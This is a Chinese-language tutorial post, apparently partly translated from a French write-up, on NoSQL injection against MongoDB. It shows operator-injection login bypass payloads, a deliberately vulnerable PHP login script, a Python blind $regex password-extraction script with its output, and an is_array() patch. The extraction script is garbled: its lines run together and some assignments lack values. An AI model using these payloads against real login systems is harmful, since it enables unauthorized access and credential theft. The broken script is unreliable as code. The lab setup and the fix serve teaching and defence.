印象中在远程注入那篇有稍等提过sql注入,
今天讲讲Nosql注入,首先Nosql注入与SQL注入的区别在哪?
SQL注入是,没有对输入数据进行过滤,影响了SQL语句原有的结构和语义,产生SQL注入,比如a or 1=1。
Nosql里的典型数据库,MongoDb的FAQ有一句话:
"..with MongoDB we are not buildingqueries from string , so traditional SQL injection attacks are not aproblem."
恰好说明了Nosql和SQL的区别,SQL的查询语句是string类型的,Nosql查询语句一般是键值对类型的,这导致了构造两者注入的payload不同,
以MongoDB为例,构造
?login=admin&password[$ne]=1
或者
?login=user&password=1'; var login =db.version(); var b='
即可进行bypass(假定服务器没有进行过滤)。
综上,Nosql注入主要是操作符注入,利用操作符查询出攻击者想要的结果(也有字符串注入的)
SQL注入主要是利用与或这样的逻辑运算,绕过防守,得到想要的结果。
这里有对Nosql注入浅析的文章,分析思路值得一看:
http://liehu.tass.com.cn/archives/1294
<refer link:
https://www.dailysecurity.fr/nosql-injections-classique-blind/>
创建NOSQL数据库是为了解决大型数据库上的关系DBMS延迟问题。
我们可以列举几个如:
DynamoDB
MongoDB的
Oracle NoSQL
然而,这种新的存储装置的出现揭示了一种创新类型的故障:NOSQL注入。
对于那些希望在家测试的人,我建议本教程在Wamp上安装MongoDB,以及这个用于PHP的。
让我们进入问题的核心。
每个人都知道SQL注入。
这些基于创建基于字符串的SQL查询
$ query = “SELECT * FROM users where login =' $ _GET [login] '” ;
当$ _GET [login]等于'OR'1'='1时,这给出:
$ query = “SELECT * FROM users where login =''OR'1'='1'” ;
没什么新鲜的。
对于NOSQL注入,网关会通过创建表来发出请求,这里向您解释一下MongoDB的基本身份验证脚本:
if (isset($_POST['usr_name']) && isset($_POST['usr_password'])) { $usr_name = ($_POST['usr_name']); $usr_password = ($_POST['usr_password']); $con = new MongoClient(); // Connexion a MongoDB if ($con) // Si la connexion a fonctionné { $db = $con->test; $people = $db->people; $qry = array( "user" => $usr_name, "password" => $usr_password ); // Construction de la requête NOSQL $result = $people->findOne($qry); // Recherche de l'utilisateur if ($result) // Si les identifiants correspondes on connecte l'utilisateur { echo("Bienvenue Administrateur"); // Zone Admin exit(); } } else { die("Mongo DB not installed"); } }echo' <form action="" method="POST"> Login: <input type="text" id="usr_name" name="usr_name" /> Password: <input type="password" id="usr_password" name="usr_password" > <input name="submitForm" id="submitForm" type="submit" value="Login" > </form>';
我们在数据库中添加了一个用户:
$ mongo MongoDB shell version: 2.6.7 connecting to: testServer has startup warnings:2015-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face,2015-02-22T00:57:09.521+0100 ** enabling http interface > db.people.insert({user:"Geluchat",password:"mdp");WriteResult({ "nInserted" : 1 })
一切准备就绪,我们将能够进行次NOSQL注射。
我们传递 usr_name[$ne]=h4cker&usr_password[$ne]=h4xor grace
当PHP创建查询时,它使用array()函数,这允许我们从已经存在的数组中创建现有数组。
$ qry = array ( “user” => $ usr_name , “password” => $ usr_password ); //构建NOSQL查询
为了更好地理解,我们做了var_dump($ qry),得到:
array (size=2) 'user' => array (size=1) '$ne' => string 'h4cker' (length=6) 'password' => array (size=1) '$ne' => string 'h4xor' (length=5)
转换为“SQL昵称”的内容给出:“WHERE user!= H4cker and password!= H4xor”。
所以我们看到了传统开发的一个例子。
但我们想要的是恢复管理员密码。
不幸的是,我们没有显示,所以我们必须找到另一种方法来访问此密码。
在MongoDB文档中还有$ regex。
usr_name[$ne]=h4cker&usr_password[$regex]=.{1}
#!/usr/bin/env python2# -*- coding: utf8 -*-import requestspage = "http://localhost/NOSQL/"taille=while 1: forge=".{"+str(taille)+"}"; req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge} resultat=requests.post(page,data=req).content print(req) if resultat.find(b'Bienvenue')==-1 : break taille+=1taille-=1print("[+] Le password fait "+str(taille)+" caracteres")passwd=""char=48length=while length!=taille: forge=passwd+str(chr(char))+'.{'+str(taille-len(passwd)-1)+'}'; req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge} resultat=requests.post(page,data=req).content print(req) if resultat.find(b'Bienvenue')!=-1 : passwd+=str(chr(char)) char=48 length+=1 print(passwd) if char==90: char=96 if char==57: char=64 char+=1print("[+] Le password est: "+str(passwd))
$ python NOSQL.py{'usr_password[$regex]': '.{0}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{1}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{3}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{4}', 'usr_name[$ne]': 'hacker'}[+] Le password fait 3 caracteres{'usr_password[$regex]': '0.{2}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'L.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'M.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'N.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'O.{2}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'k.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'l.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'm.{2}', 'usr_name[$ne]': 'hacker'}m{'usr_password[$regex]': 'm1.{1}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'm2.{1}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'md.{1}', 'usr_name[$ne]': 'hacker'}md{'usr_password[$regex]': 'md1.{0}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'md2.{0}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'mdp.{0}', 'usr_name[$ne]': 'hacker'}mdp[+] Le password est: mdp
要修补这个缺陷,可以使用一个解决方案:使用is_array()函数进行检查:
if (isset($_POST['usr_name']) && isset($_POST['usr_password']) && !is_array($_POST['usr_password']) && !is_array($_POST['usr_name']))
来源 https://www.modb.pro/db/64824